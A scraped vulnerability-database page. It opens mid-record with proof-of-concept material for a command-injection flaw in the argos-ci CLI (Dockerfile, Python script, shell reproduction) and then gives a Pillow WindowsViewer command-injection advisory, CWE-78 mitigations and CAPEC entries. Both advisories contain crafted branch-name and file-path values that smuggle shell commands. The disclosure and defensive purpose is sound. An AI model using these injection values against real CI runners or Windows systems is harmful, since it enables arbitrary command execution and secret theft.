\u2014 replace template-literal `execSync` calls with `execFileSync` using argument arrays, which bypass the shell entirely:\n\n```diff\n-import { execSync } from \"node:child_process\";\n+import { execFileSync, execSync } from \"node:child_process\";\n\n function gitFetch(input: { ref: string; depth: number; target: string }) {\n- execSync(\n- `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,\n- );\n+ execFileSync(\"git\", [\n+ \"fetch\", \"--force\", \"--update-head-ok\",\n+ \"--depth\", String(input.depth),\n+ \"origin\", `${input.ref}:${input.target}`,\n+ ]);\n }\n\n function gitMergeBase(input: { base: string; head: string }) {\n- return execSync(`git merge-base ${input.head} ${input.base}`).toString().trim();\n+ return execFileSync(\"git\", [\"merge-base\", input.head, input.base], { encoding: \"utf8\" }).trim();\n }\n```\n\n### PoC\n\n**Prerequisites:**\n- Docker installed on the test machine.\n- Internet access to pull `node:22` and install `@argos-ci/cli@5.0.5` from npm.\n\n**Step 1 \u2014 Build the Docker image:**\n\n```bash\ndocker build -t argos-vuln-001 \\\n -f /path/to/vuln-001/Dockerfile \\\n /path/to/reports/npmAI_634_argos-ci__argos-javascript/\n```\n\nThe `Dockerfile`:\n- Uses `node:22` as the base.\n- Creates a local bare git repository at `/remote.git` and a working repository at `/git-workspace` with that bare repo as `origin`, so `git fetch` has a reachable remote.\n- Installs `@argos-ci/cli@5.1.0` (which depends on `@argos-ci/core@6.2.0`) globally from the public npm registry.\n- Copies `poc.py` as the container entrypoint.\n\n**Step 2 \u2014 Run the container:**\n\n```bash\ndocker run --rm argos-vuln-001\n```\n\n**What the PoC (`poc.py`) does:**\n\n1. Starts a local HTTP mock server on `127.0.0.1:7777` that returns `{\"hasRemoteContentAccess\": false}` for `GET /v2/project`, activating the `getMergeBaseCommitSha()` code path.\n2. Sets `ARGOS_BRANCH` to `main$(touch${IFS}/tmp/argos-ci-cve-poc)`. \n - `$(...)` is shell command substitution. \n - `${IFS}` expands to a space character, bypassing naive space-based filters, making the injected command `touch /tmp/argos-ci-cve-poc`.\n3. Runs `argos upload \u003cempty-dir\u003e --files \u0027*.png\u0027` with the malicious environment.\n4. Checks for the marker file `/tmp/argos-ci-cve-poc`.\n\n**Expected output:**\n\n```\n============================================================\n[PASS] VULNERABILITY CONFIRMED\n[PASS] Marker file exists: /tmp/argos-ci-cve-poc\n[PASS] The shell command injected via ARGOS_BRANCH was executed\n[PASS] by execSync() inside gitFetch() (git.ts:88-90).\n============================================================\n```\n\nThe marker file is created *before* `git` connects to the remote because the shell evaluates `$()` during command string construction. The CLI exits with a non-zero code later (due to mock API incomplete stubs), but the injection has already succeeded.\n\n**Manual reproduction (without Docker):**\n\n```bash\nmkdir -p /tmp/argos-poc \u0026\u0026 cd /tmp/argos-poc\ngit init \u0026\u0026 git remote add origin https://github.com/argos-ci/argos-javascript.git\n\n# Start a minimal mock API server (background)\nnode -e \"\nconst http = require(\u0027http\u0027);\nhttp.createServer((req, res) =\u003e {\n if (req.url === \u0027/v2/project\u0027) {\n res.writeHead(200, {\u0027content-type\u0027:\u0027application/json\u0027});\n res.end(JSON.stringify({defaultBaseBranch:\u0027main\u0027, hasRemoteContentAccess:false}));\n return;\n }\n res.writeHead(200, {\u0027content-type\u0027:\u0027application/json\u0027});\n res.end(\u0027{}\u0027);\n}).listen(7777);\n\" \u0026\n\nmkdir empty\nrm -f /tmp/argos-ci-cve-poc\nARGOS_API_BASE_URL=http://127.0.0.1:7777/v2/ \\\nARGOS_TOKEN=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \\\nARGOS_COMMIT=0123456789abcdef0123456789abcdef01234567 \\\nARGOS_BRANCH=\u0027main$(touch${IFS}/tmp/argos-ci-cve-poc)\u0027 \\\nnpx -y @argos-ci/cli@5.0.5 upload empty --files \u0027*.png\u0027 || true\n\ntest -f /tmp/argos-ci-cve-poc \u0026\u0026 echo \"COMMAND_EXECUTED\"\n```\n\n### Impact\n\nThis is an OS Command Injection vulnerability (CWE-78). An attacker who can influence the branch or ref name used by a CI pipeline running Argos \u2014 for example, by opening a pull request with a crafted branch name, or by controlling the `GITHUB_HEAD_REF` / `ARGOS_BRANCH` environment variable \u2014 can execute arbitrary shell commands on the CI runner with the same privileges as the Argos upload process.\n\n**Who is impacted:**\n\n- Any organization using `@argos-ci/core` (or the CLI `@argos-ci/cli`) in a CI pipeline where the project\u0027s Argos configuration has `hasRemoteContentAccess: false`. This configuration is the default for projects that have not connected a Git provider integration, covering a significant portion of Argos users.\n- The risk is highest in `pull_request_target` or other privileged CI workflow patterns where the workflow runs with repository secrets but also processes attacker-supplied branch names from forks.\n- Successful exploitation can lead to: exfiltration of CI secrets (tokens, API keys, cloud credentials), supply-chain compromise of build artifacts, lateral movement within CI infrastructure, and full compromise of the CI runner environment.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:22\n\n# Install git and Python 3\nRUN apt-get update \u0026\u0026 \\\n apt-get install -y --no-install-recommends git python3 \u0026\u0026 \\\n rm -rf /var/lib/apt/lists/*\n\n# Configure git identity for commits inside the container\nRUN git config --global user.email \"poc@test.local\" \u0026\u0026 \\\n git config --global user.name \"PoC Test\" \u0026\u0026 \\\n git config --global init.defaultBranch main\n\n# Create a local bare repository that acts as the \"origin\" remote.\n# This lets git fetch succeed (reaching a real remote is not required for the\n# injection -- the shell expands $() before git connects -- but a working\n# remote means getMergeBaseCommitSha() returns a real SHA and the full\n# upload code-path is exercised without extra noise from git errors.)\nRUN git init --bare /remote.git\n\n# Create the working repository with the bare repo as origin\nRUN git init /git-workspace \u0026\u0026 \\\n cd /git-workspace \u0026\u0026 \\\n git remote add origin /remote.git \u0026\u0026 \\\n echo \"initial\" \u003e README.md \u0026\u0026 \\\n git add README.md \u0026\u0026 \\\n git commit -m \"Initial commit\" \u0026\u0026 \\\n git branch -M main \u0026\u0026 \\\n git push -u origin main\n\n# Copy the cloned repository source for reference / source evidence.\n# The vulnerable code lives in packages/core/src/ci-environment/git.ts:87-90.\nCOPY repo /argos-repo\n\n# Install the vulnerable @argos-ci/cli@5.1.0 (depends on @argos-ci/core@6.2.0)\n# from the public npm registry -- same version as the cloned repository.\nRUN npm install -g @argos-ci/cli@5.1.0 --loglevel=warn\n\n# Copy the Python PoC script\nCOPY vuln-001/poc.py /poc.py\n\n# Run from inside the git workspace so that git commands find the correct repo\nWORKDIR /git-workspace\n\nENTRYPOINT [\"python3\", \"/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001 -- OS Command Injection in @argos-ci/core@6.2.0\n\nVulnerability: CWE-78 (OS Command Injection)\nAffected file: packages/core/src/ci-environment/git.ts:87-90\n\nThe gitFetch() function passes user-controlled ref strings directly into an\nexecSync() template literal. Node.js execSync() invokes /bin/sh -c \"...\", so\nshell metacharacters in the string -- including $() command substitution --\nare evaluated before git runs.\n\nAttack chain (source -\u003e sink):\n env.GITHUB_HEAD_REF / ARGOS_BRANCH\n -\u003e config.ts:119-122 (String cast, no sanitisation)\n -\u003e upload.ts:285 getMergeBaseCommitSha({ head: config.branch })\n -\u003e git.ts:123 gitFetch({ ref: input.head, ... })\n -\u003e git.ts:89 execSync(`git fetch ... origin ${input.ref}:${input.target}`)\n ^^^^^^^^ shell injection sink\n\nThis script:\n 1. Starts a local HTTP mock server that returns hasRemoteContentAccess=false\n for GET /v2/project, triggering the getMergeBaseCommitSha() code-path.\n 2. Invokes the argos CLI with ARGOS_BRANCH set to a malicious value\n containing a $() command substitution.\n 3. Checks for a filesystem artefact that proves execution.\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nimport sys\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# File created by the injected command -- its existence proves execution.\nMARKER_FILE = \"/tmp/argos-ci-cve-poc\"\n\n# Port for the mock Argos API server.\nMOCK_PORT = 7777\n\n\nclass MockArgosAPI(BaseHTTPRequestHandler):\n \"\"\"Minimal mock of the Argos REST API.\n\n Only two responses matter:\n - GET /v2/project -- must return hasRemoteContentAccess=false to trigger\n the git-based merge-base discovery code-path.\n - POST /v2/builds -- needs to return a recognisable structure so the SDK\n does not abort before we can observe the side-effect.\n \"\"\"\n\n def log_message(self, fmt, *args):\n # Suppress per-request log noise; PoC progress messages are enough.\n pass\n\n def _send_json(self, status: int, body: dict) -\u003e None:\n raw = json.dumps(body).encode()\n self.send_response(status)\n self.send_header(\"Content-Type\", \"application/json\")\n self.send_header(\"Content-Length\", str(len(raw)))\n self.end_headers()\n self.wfile.write(raw)\n\n def do_GET(self):\n if self.path.rstrip(\"/\") == \"/v2/project\":\n # hasRemoteContentAccess=false is the precondition that makes the\n # SDK call getMergeBaseCommitSha() instead of fetching from the\n # Git provider API. This is the key to reaching the sink.\n self._send_json(200, {\n \"id\": \"proj-1\",\n \"defaultBaseBranch\": \"main\",\n \"hasRemoteContentAccess\": False,\n })\n else:\n self._send_json(200, {})\n\n def do_POST(self):\n # Drain request body to keep the connection clean.\n length = int(self.headers.get(\"Content-Length\", 0))\n self.rfile.read(length)\n if \"/builds\" in self.path:\n # Return the minimal structure the SDK dereferences after POST /builds.\n self._send_json(201, {\n \"id\": \"build-1\",\n \"url\": \"http://localhost/build/1\",\n \"screenshots\": [],\n \"pwTraces\": [],\n })\n else:\n self._send_json(200, {})\n\n def do_PUT(self):\n length = int(self.headers.get(\"Content-Length\", 0))\n self.rfile.read(length)\n self._send_json(200, {})\n\n\ndef start_mock_server() -\u003e HTTPServer:\n server = HTTPServer((\"127.0.0.1\", MOCK_PORT), MockArgosAPI)\n thread = threading.Thread(target=server.serve_forever, daemon=True)\n thread.start()\n return server\n\n\ndef main():\n print(\"[*] VULN-001 PoC -- @argos-ci/core@6.1.1 OS Command Injection\")\n print(\"[*] Source sink: packages/core/src/ci-environment/git.ts:87-90\")\n print()\n\n # Remove any stale marker from a previous run.\n if os.path.exists(MARKER_FILE):\n os.remove(MARKER_FILE)\n\n # Start the mock Argos API.\n server = start_mock_server()\n print(f\"[*] Mock Argos API server listening on 127.0.0.1:{MOCK_PORT}\")\n\n # Build the malicious branch name.\n # Breakdown:\n # main -- valid branch prefix so git ref looks plausible\n # $(...) -- shell command substitution, evaluated by /bin/sh\n # touch${IFS}\u003cpath\u003e -- ${IFS} expands to a space, bypassing naive space\n # filters and forming \"touch \u003cpath\u003e\"\n malicious_branch = f\"main$(touch${{IFS}}{MARKER_FILE})\"\n print(f\"[*] Malicious ARGOS_BRANCH value: {malicious_branch}\")\n print(f\"[*] Expected shell expansion: touch {MARKER_FILE}\")\n print()\n\n # Empty upload directory -- no real screenshots needed. The injection\n # occurs during merge-base discovery before any upload loop runs.\n upload_dir = \"/tmp/argos-empty-upload\"\n os.makedirs(upload_dir, exist_ok=True)\n\n env = dict(os.environ)\n env.update({\n \"ARGOS_API_BASE_URL\": f\"http://127.0.0.1:{MOCK_PORT}/v2/\",\n \"ARGOS_TOKEN\": \"a\" * 40,\n \"ARGOS_COMMIT\": \"0\" * 40,\n \"ARGOS_BRANCH\": malicious_branch,\n # Disable update-notifier noise inside the CLI.\n \"NO_UPDATE_NOTIFIER\": \"1\",\n })\n\n print(\"[*] Running: argos upload \u003cempty-dir\u003e --files \u0027*.png\u0027\")\n result = subprocess.run(\n [\"argos\", \"upload\", upload_dir, \"--files\", \"*.png\"],\n env=env,\n capture_output=True,\n text=True,\n # CWD must be a git repository with an \u0027origin\u0027 remote so that\n # git fetch has a valid context. /git-workspace is prepared in the\n # Dockerfile for this purpose.\n cwd=\"/git-workspace\",\n )\n\n print(f\"[*] CLI exit code : {result.returncode}\")\n if result.stdout.strip():\n print(f\"[*] CLI stdout : {result.stdout.strip()[:600]}\")\n if result.stderr.strip():\n print(f\"[*] CLI stderr : {result.stderr.strip()[:600]}\")\n\n server.shutdown()\n print()\n\n # --- Verdict ---\n if os.path.exists(MARKER_FILE):\n print(\"=\" * 60)\n print(\"[PASS] VULNERABILITY CONFIRMED\")\n print(f\"[PASS] Marker file exists: {MARKER_FILE}\")\n print(\"[PASS] The shell command injected via ARGOS_BRANCH was executed\")\n print(\"[PASS] by execSync() inside gitFetch() (git.ts:88-90).\")\n print(\"=\" * 60)\n sys.exit(0)\n else:\n print(\"=\" * 60)\n print(\"[FAIL] Marker file not found -- injection did not trigger.\")\n print(\"[FAIL] Check that CWD is a git repo with a reachable \u0027origin\u0027.\")\n print(\"[FAIL] Check that the mock server returned hasRemoteContentAccess=false.\")\n print(\"=\" * 60)\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-4x45-gxvp-6283",
"modified": "2026-09-10T22:34:17Z",
"published": "2026-09-10T22:34:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/argos-ci/argos-javascript/security/advisories/GHSA-4x45-gxvp-6283"
},
{
"type": "WEB",
"url": "https://github.com/argos-ci/argos-javascript/commit/8355f3af3be3f4fe361d58a688d21535cf672717"
},
{
"type": "PACKAGE",
"url": "https://github.com/argos-ci/argos-javascript"
},
{
"type": "WEB",
"url": "https://github.com/argos-ci/argos-javascript/releases/tag/@argos-ci/core@6.2.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "@argos-ci/core: CI Branch Name OS Command Injection"
}
GHSA-4X4J-2G7C-83W6
Vulnerability from github – Published: 2026-07-20 21:14 – Updated: 2026-07-20 21:141. Summary
WindowsViewer.get_command() constructs a cmd.exe shell command by directly embedding a
file path into an f-string without escaping. The result is passed to
subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most
importantly a double-quote (") that breaks out of the wrapping, followed by & — allow
injection of arbitrary cmd.exe commands.
The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter.
The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this
protection, despite shlex.quote being already imported on line 21 of ImageShow.py.
2. Vulnerable Code
File: src/PIL/ImageShow.py, lines 133–150
class WindowsViewer(Viewer):
format = "PNG"
options = {"compress_level": 1, "save_all": True}
def get_command(self, file: str, **options: Any) -> str:
return (
f'start "Pillow" /WAIT "{file}" ' # ← f-string, no escaping
"&& ping -n 4 127.0.0.1 >NUL "
f'&& del /f "{file}"' # ← same path, unescaped again
)
def show_file(self, path: str, **options: Any) -> int:
if not os.path.exists(path):
raise FileNotFoundError
subprocess.Popen(
self.get_command(path, **options),
shell=True, # ← shell=True
creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
) # nosec # ← Bandit warning suppressed manually
return 1
Contrast with macOS — SAFE (line 164–168):
class MacViewer(Viewer):
def get_command(self, file: str, **options: Any) -> str:
command = "open -a Preview.app"
command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&"
return command # ← shlex.quote() applied
Cross-platform summary:
| Platform | Class | shlex.quote()? |
shell=True? |
Safe? |
|---|---|---|---|---|
| macOS | MacViewer |
Yes (line 168) | No (list args) | ✅ Yes |
| Linux | UnixViewer |
Yes (line 207) | No (list args) | ✅ Yes |
| Windows | WindowsViewer |
No (line 134–137) | Yes (line 148) | ❌ No |
shlex.quote is imported on line 21. Its omission from the Windows path is a clear
oversight, not a deliberate design choice.
3. Proof of Concept
A full working PoC is at poc_pillow_injection.py. Key parts:
Part A — Injection string construction (static, no execution):
from PIL.ImageShow import WindowsViewer
viewer = WindowsViewer()
evil_path = r'C:\Temp\evil" & echo PWNED & echo "'
cmd = viewer.get_command(evil_path)
print(cmd)
# Output:
# start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...
# ┌─ start "Pillow" /WAIT "C:\Temp\evil" → fails (file not found)
# ├─ & echo PWNED → INJECTED COMMAND
# └─ & echo "" && ping ... → continues
Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1):
import os, tempfile
from PIL.ImageShow import WindowsViewer
viewer = WindowsViewer()
poc_dir = tempfile.mkdtemp()
marker = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")
# Craft injection: payload writes a marker file (harmless)
payload = f'echo REAL_INJECTED > "{marker}"'
evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')
# Call the REAL Pillow get_command():
real_cmd = viewer.get_command(evil_path)
# Execute the same way the base Viewer.show_file() does (os.system):
os.system(real_cmd)
assert os.path.exists(marker) # PASSES — marker was created
assert "REAL_INJECTED" in open(marker).read() # PASSES
# → CONFIRMED: arbitrary command injection via get_command()
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Pillow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "12.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55798"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T21:14:14Z",
"nvd_published_at": "2026-07-06T19:17:08Z",
"severity": "MODERATE"
},
"details": "### 1. Summary\n\n`WindowsViewer.get_command()` constructs a `cmd.exe` shell command by directly embedding a\nfile path into an f-string without escaping. The result is passed to\n`subprocess.Popen(..., shell=True)`. Shell metacharacters in the file path \u2014 most\nimportantly a double-quote (`\"`) that breaks out of the wrapping, followed by `\u0026` \u2014 allow\ninjection of arbitrary `cmd.exe` commands.\n\nThe macOS equivalent (`MacViewer`) correctly applies `shlex.quote()` to the same parameter.\nThe Linux equivalent (`UnixViewer`) does likewise. Windows is the only platform missing this\nprotection, despite `shlex.quote` being **already imported** on line 21 of `ImageShow.py`.\n\n---\n\n### 2. Vulnerable Code\n\n**File:** `src/PIL/ImageShow.py`, lines 133\u2013150\n\n```python\nclass WindowsViewer(Viewer):\n format = \"PNG\"\n options = {\"compress_level\": 1, \"save_all\": True}\n\n def get_command(self, file: str, **options: Any) -\u003e str:\n return (\n f\u0027start \"Pillow\" /WAIT \"{file}\" \u0027 # \u2190 f-string, no escaping\n \"\u0026\u0026 ping -n 4 127.0.0.1 \u003eNUL \"\n f\u0027\u0026\u0026 del /f \"{file}\"\u0027 # \u2190 same path, unescaped again\n )\n\n def show_file(self, path: str, **options: Any) -\u003e int:\n if not os.path.exists(path):\n raise FileNotFoundError\n subprocess.Popen(\n self.get_command(path, **options),\n shell=True, # \u2190 shell=True\n creationflags=getattr(subprocess, \"CREATE_NO_WINDOW\"),\n ) # nosec # \u2190 Bandit warning suppressed manually\n return 1\n```\n\n**Contrast with macOS \u2014 SAFE (line 164\u2013168):**\n```python\nclass MacViewer(Viewer):\n def get_command(self, file: str, **options: Any) -\u003e str:\n command = \"open -a Preview.app\"\n command = f\"({command} {quote(file)}; sleep 20; rm -f {quote(file)})\u0026\"\n return command # \u2190 shlex.quote() applied\n```\n\n**Cross-platform summary:**\n\n| Platform | Class | `shlex.quote()`? | `shell=True`? | Safe? |\n|----------|----------------|------------------|---------------|-------|\n| macOS | `MacViewer` | **Yes** (line 168) | No (list args) | \u2705 Yes |\n| Linux | `UnixViewer` | **Yes** (line 207) | No (list args) | \u2705 Yes |\n| Windows | `WindowsViewer`| **No** (line 134\u2013137) | **Yes** (line 148) | \u274c No |\n\n`shlex.quote` is imported on line 21. Its omission from the Windows path is a clear\noversight, not a deliberate design choice.\n\n---\n### 3. Proof of Concept\n\nA full working PoC is at `poc_pillow_injection.py`. Key parts:\n\n**Part A \u2014 Injection string construction (static, no execution):**\n```python\nfrom PIL.ImageShow import WindowsViewer\n\nviewer = WindowsViewer()\nevil_path = r\u0027C:\\Temp\\evil\" \u0026 echo PWNED \u0026 echo \"\u0027\ncmd = viewer.get_command(evil_path)\nprint(cmd)\n# Output:\n# start \"Pillow\" /WAIT \"C:\\Temp\\evil\" \u0026 echo PWNED \u0026 echo \"\" \u0026\u0026 ping ...\n# \u250c\u2500 start \"Pillow\" /WAIT \"C:\\Temp\\evil\" \u2192 fails (file not found)\n# \u251c\u2500 \u0026 echo PWNED \u2192 INJECTED COMMAND\n# \u2514\u2500 \u0026 echo \"\" \u0026\u0026 ping ... \u2192 continues\n```\n\n**Part B \u2014 Live execution via `os.system()` (verified on Windows 11, Pillow 12.1.1):**\n```python\nimport os, tempfile\nfrom PIL.ImageShow import WindowsViewer\n\nviewer = WindowsViewer()\npoc_dir = tempfile.mkdtemp()\nmarker = os.path.join(poc_dir, \"INJECTION_CONFIRMED.txt\")\n\n# Craft injection: payload writes a marker file (harmless)\npayload = f\u0027echo REAL_INJECTED \u003e \"{marker}\"\u0027\nevil_path = os.path.join(poc_dir, f\u0027poc\" \u0026 {payload} \u0026 echo \"\u0027)\n\n# Call the REAL Pillow get_command():\nreal_cmd = viewer.get_command(evil_path)\n\n# Execute the same way the base Viewer.show_file() does (os.system):\nos.system(real_cmd)\n\nassert os.path.exists(marker) # PASSES \u2014 marker was created\nassert \"REAL_INJECTED\" in open(marker).read() # PASSES\n# \u2192 CONFIRMED: arbitrary command injection via get_command()\n```\n\n---",
"id": "GHSA-4x4j-2g7c-83w6",
"modified": "2026-07-20T21:14:14Z",
"published": "2026-07-20T21:14:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55798"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path"
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
